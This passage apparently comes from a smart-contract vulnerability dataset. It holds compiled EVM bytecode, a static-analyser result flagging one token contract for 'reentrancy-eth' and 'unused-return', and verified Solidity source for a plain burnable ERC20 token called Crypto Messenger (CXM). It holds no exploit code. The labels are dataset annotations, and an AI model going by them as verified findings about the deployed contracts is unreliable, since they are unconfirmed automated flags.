518110611f7d57611f7c612c31565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fe430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612048959493929190613600565b600060405180830381600087803b15801561206257600080fd5b505af1158015612076573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120a4838383612137565b505050565b600080831182906120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e79190612723565b60405180910390fd5b50600083856120ff91906133ed565b9050809150509392505050565b6000806000612119612302565b915091506121308183611cfc90919063ffffffff16565b9250505090565b60008060008060008061214987612364565b9550955095509550955095506121a786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123cc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228881612474565b6122928483612531565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ef9190612872565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233868056bc75e2d63100000600854611cfc90919063ffffffff16565b8210156123575760085468056bc75e2d63100000935093505050612360565b81819350935050505b9091565b60008060008060008060008060006123818a600a54600b5461256b565b925092509250600061239161210c565b905060008060006123a48e878787612601565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c1d565b905092915050565b6000808284612425919061326e565b90508381101561246a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612461906136a6565b60405180910390fd5b8091505092915050565b600061247e61210c565b905060006124958284611c8190919063ffffffff16565b90506124e981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612546826008546123cc90919063ffffffff16565b6008819055506125618160095461241690919063ffffffff16565b6009819055505050565b6000806000806125976064612589888a611c8190919063ffffffff16565b611cfc90919063ffffffff16565b905060006125c160646125b3888b611c8190919063ffffffff16565b611cfc90919063ffffffff16565b905060006125ea826125dc858c6123cc90919063ffffffff16565b6123cc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261a8589611c8190919063ffffffff16565b905060006126318689611c8190919063ffffffff16565b905060006126488789611c8190919063ffffffff16565b905060006126718261266385876123cc90919063ffffffff16565b6123cc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126c45780820151818401526020810190506126a9565b838111156126d3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f58261268a565b6126ff8185612695565b935061270f8185602086016126a6565b612718816126d9565b840191505092915050565b6000602082019050818103600083015261273d81846126ea565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061278482612759565b9050919050565b61279481612779565b811461279f57600080fd5b50565b6000813590506127b18161278b565b92915050565b6000819050919050565b6127ca816127b7565b81146127d557600080fd5b50565b6000813590506127e7816127c1565b92915050565b600080604083850312156128045761280361274f565b5b6000612812858286016127a2565b9250506020612823858286016127d8565b9150509250929050565b60008115159050919050565b6128428161282d565b82525050565b600060208201905061285d6000830184612839565b92915050565b61286c816127b7565b82525050565b60006020820190506128876000830184612863565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ca826126d9565b810181811067ffffffffffffffff821117156128e9576128e8612892565b5b80604052505050565b60006128fc612745565b905061290882826128c1565b919050565b600067ffffffffffffffff82111561292857612927612892565b5b602082029050602081019050919050565b600080fd5b600061295161294c8461290d565b6128f2565b9050808382526020820190506020840283018581111561297457612973612939565b5b835b8181101561299d578061298988826127a2565b845260208401935050602081019050612976565b5050509392505050565b600082601f8301126129bc576129bb61288d565b5b81356129cc84826020860161293e565b91505092915050565b6000602082840312156129eb576129ea61274f565b5b600082013567ffffffffffffffff811115612a0957612a08612754565b5b612a15848285016129a7565b91505092915050565b600080600060608486031215612a3757612a3661274f565b5b6000612a45868287016127a2565b9350506020612a56868287016127a2565b9250506040612a67868287016127d8565b9150509250925092565b600060208284031215612a8757612a8661274f565b5b6000612a95848285016127a2565b91505092915050565b600060ff82169050919050565b612ab481612a9e565b82525050565b6000602082019050612acf6000830184612aab565b92915050565b612ade8161282d565b8114612ae957600080fd5b50565b600081359050612afb81612ad5565b92915050565b600060208284031215612b1757612b1661274f565b5b6000612b2584828501612aec565b91505092915050565b600060208284031215612b4457612b4361274f565b5b6000612b52848285016127d8565b91505092915050565b612b6481612779565b82525050565b6000602082019050612b7f6000830184612b5b565b92915050565b60008060408385031215612b9c57612b9b61274f565b5b6000612baa858286016127a2565b9250506020612bbb858286016127a2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bfb602083612695565b9150612c0682612bc5565b602082019050919050565b60006020820190508181036000830152612c2a81612bee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9a826127b7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ccd57612ccc612c60565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d0e601783612695565b9150612d1982612cd8565b602082019050919050565b60006020820190508181036000830152612d3d81612d01565b9050919050565b600081519050612d538161278b565b92915050565b600060208284031215612d6f57612d6e61274f565b5b6000612d7d84828501612d44565b91505092915050565b6000604082019050612d9b6000830185612b5b565b612da86020830184612b5b565b9392505050565b6000819050919050565b6000819050919050565b6000612dde612dd9612dd484612daf565b612db9565b6127b7565b9050919050565b612dee81612dc3565b82525050565b600060c082019050612e096000830189612b5b565b612e166020830188612863565b612e236040830187612de5565b612e306060830186612de5565b612e3d6080830185612b5b565b612e4a60a0830184612863565b979650505050505050565b600081519050612e64816127c1565b92915050565b600080600060608486031215612e8357612e8261274f565b5b6000612e9186828701612e55565b9350506020612ea286828701612e55565b9250506040612eb386828701612e55565b9150509250925092565b6000604082019050612ed26000830185612b5b565b612edf6020830184612863565b9392505050565b600081519050612ef581612ad5565b92915050565b600060208284031215612f1157612f1061274f565b5b6000612f1f84828501612ee6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f84602483612695565b9150612f8f82612f28565b604082019050919050565b60006020820190508181036000830152612fb381612f77565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613016602283612695565b915061302182612fba565b604082019050919050565b6000602082019050818103600083015261304581613009565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a8602583612695565b91506130b38261304c565b604082019050919050565b600060208201905081810360008301526130d78161309b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061313a602383612695565b9150613145826130de565b604082019050919050565b600060208201905081810360008301526131698161312d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131cc602983612695565b91506131d782613170565b604082019050919050565b600060208201905081810360008301526131fb816131bf565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613238601983612695565b915061324382613202565b602082019050919050565b600060208201905081810360008301526132678161322b565b9050919050565b6000613279826127b7565b9150613284836127b7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b9576132b8612c60565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132fa601a83612695565b9150613305826132c4565b602082019050919050565b60006020820190508181036000830152613329816132ed565b9050919050565b600061333b826127b7565b9150613346836127b7565b92508282101561335957613358612c60565b5b828203905092915050565b600061336f826127b7565b915061337a836127b7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133b3576133b2612c60565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f8826127b7565b9150613403836127b7565b925082613413576134126133be565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061347a602183612695565b91506134858261341e565b604082019050919050565b600060208201905081810360008301526134a98161346d565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061350c602a83612695565b9150613517826134b0565b604082019050919050565b6000602082019050818103600083015261353b816134ff565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357781612779565b82525050565b6000613589838361356e565b60208301905092915050565b6000602082019050919050565b60006135ad82613542565b6135b7818561354d565b93506135c28361355e565b8060005b838110156135f35781516135da888261357d565b97506135e583613595565b9250506001810190506135c6565b5085935050505092915050565b600060a0820190506136156000830188612863565b6136226020830187612de5565b818103604083015261363481866135a2565b90506136436060830185612b5b565b6136506080830184612863565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613690601b83612695565b915061369b8261365a565b602082019050919050565b600060208201905081810360008301526136bf81613683565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe640a7f1cc569fd5b7b1bdf408e8d4302dfcef57efa44eb3eac923e296498d364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
213
0x148d9c0caef334cb6d09dbfedd4c91fa4eb548ac
/** *Submitted for verification at Etherscan.io on 2021-10-01 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } contract CXM is ERC20Burnable{ constructor() ERC20("Crypto Messenger","CXM"){ _mint(msg.sender,800000000000000000000000000); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b4114610226578063a457c2d714610244578063a9059cbb14610274578063dd62ed3e146102a4576100cf565b806342966c68146101be57806370a08231146101da57806379cc67901461020a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170578063395093511461018e575b600080fd5b6100dc6102d4565b6040516100e9919061119c565b60405180910390f35b61010c60048036038101906101079190610f58565b610366565b6040516101199190611181565b60405180910390f35b61012a610384565b60405161013791906112fe565b60405180910390f35b61015a60048036038101906101559190610f09565b61038e565b6040516101679190611181565b60405180910390f35b61017861048f565b6040516101859190611319565b60405180910390f35b6101a860048036038101906101a39190610f58565b610498565b6040516101b59190611181565b60405180910390f35b6101d860048036038101906101d39190610f94565b610544565b005b6101f460048036038101906101ef9190610ea4565b610558565b60405161020191906112fe565b60405180910390f35b610224600480360381019061021f9190610f58565b6105a0565b005b61022e610624565b60405161023b919061119c565b60405180910390f35b61025e60048036038101906102599190610f58565b6106b6565b60405161026b9190611181565b60405180910390f35b61028e60048036038101906102899190610f58565b6107aa565b60405161029b9190611181565b60405180910390f35b6102be60048036038101906102b99190610ecd565b6107c8565b6040516102cb91906112fe565b60405180910390f35b6060600380546102e390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461030f90611462565b801561035c5780601f106103315761010080835404028352916020019161035c565b820191906000526020600020905b81548152906001019060200180831161033f57829003601f168201915b5050505050905090565b600061037a61037361084f565b8484610857565b6001905092915050565b6000600254905090565b600061039b848484610a22565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103e661084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d9061123e565b60405180910390fd5b6104838561047261084f565b858461047e91906113a6565b610857565b60019150509392505050565b60006012905090565b600061053a6104a561084f565b8484600160006104b361084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105359190611350565b610857565b6001905092915050565b61055561054f61084f565b82610ca1565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006105b3836105ae61084f565b6107c8565b9050818110156105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef9061125e565b60405180910390fd5b6106158361060461084f565b848461061091906113a6565b610857565b61061f8383610ca1565b505050565b60606004805461063390611462565b80601f016020809104026020016040519081016040528092919081815260200182805461065f90611462565b80156106ac5780601f10610681576101008083540402835291602001916106ac565b820191906000526020600020905b81548152906001019060200180831161068f57829003601f168201915b5050505050905090565b600080600160006106c561084f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610782576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610779906112de565b60405180910390fd5b61079f61078d61084f565b85858461079a91906113a6565b610857565b600191505092915050565b60006107be6107b761084f565b8484610a22565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be906112be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e906111fe565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a1591906112fe565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a899061129e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af9906111be565b60405180910390fd5b610b0d838383610e75565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a9061121e565b60405180910390fd5b8181610b9f91906113a6565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2f9190611350565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c9391906112fe565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d089061127e565b60405180910390fd5b610d1d82600083610e75565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610da3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9a906111de565b60405180910390fd5b8181610daf91906113a6565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160026000828254610e0391906113a6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6891906112fe565b60405180910390a3505050565b505050565b600081359050610e8981611819565b92915050565b600081359050610e9e81611830565b92915050565b600060208284031215610eb657600080fd5b6000610ec484828501610e7a565b91505092915050565b60008060408385031215610ee057600080fd5b6000610eee85828601610e7a565b9250506020610eff85828601610e7a565b9150509250929050565b600080600060608486031215610f1e57600080fd5b6000610f2c86828701610e7a565b9350506020610f3d86828701610e7a565b9250506040610f4e86828701610e8f565b9150509250925092565b60008060408385031215610f6b57600080fd5b6000610f7985828601610e7a565b9250506020610f8a85828601610e8f565b9150509250929050565b600060208284031215610fa657600080fd5b6000610fb484828501610e8f565b91505092915050565b610fc6816113ec565b82525050565b6000610fd782611334565b610fe1818561133f565b9350610ff181856020860161142f565b610ffa816114f2565b840191505092915050565b600061101260238361133f565b915061101d82611503565b604082019050919050565b600061103560228361133f565b915061104082611552565b604082019050919050565b600061105860228361133f565b9150611063826115a1565b604082019050919050565b600061107b60268361133f565b9150611086826115f0565b604082019050919050565b600061109e60288361133f565b91506110a98261163f565b604082019050919050565b60006110c160248361133f565b91506110cc8261168e565b604082019050919050565b60006110e460218361133f565b91506110ef826116dd565b604082019050919050565b600061110760258361133f565b91506111128261172c565b604082019050919050565b600061112a60248361133f565b91506111358261177b565b604082019050919050565b600061114d60258361133f565b9150611158826117ca565b604082019050919050565b61116c81611418565b82525050565b61117b81611422565b82525050565b60006020820190506111966000830184610fbd565b92915050565b600060208201905081810360008301526111b68184610fcc565b905092915050565b600060208201905081810360008301526111d781611005565b9050919050565b600060208201905081810360008301526111f781611028565b9050919050565b600060208201905081810360008301526112178161104b565b9050919050565b600060208201905081810360008301526112378161106e565b9050919050565b6000602082019050818103600083015261125781611091565b9050919050565b60006020820190508181036000830152611277816110b4565b9050919050565b60006020820190508181036000830152611297816110d7565b9050919050565b600060208201905081810360008301526112b7816110fa565b9050919050565b600060208201905081810360008301526112d78161111d565b9050919050565b600060208201905081810360008301526112f781611140565b9050919050565b60006020820190506113136000830184611163565b92915050565b600060208201905061132e6000830184611172565b92915050565b600081519050919050565b600082825260208201905092915050565b600061135b82611418565b915061136683611418565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561139b5761139a611494565b5b828201905092915050565b60006113b182611418565b91506113bc83611418565b9250828210156113cf576113ce611494565b5b828203905092915050565b60006113e5826113f8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561144d578082015181840152602081019050611432565b8381111561145c576000848401525b50505050565b6000600282049050600182168061147a57607f821691505b6020821081141561148e5761148d6114c3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f65737300000000000000000000000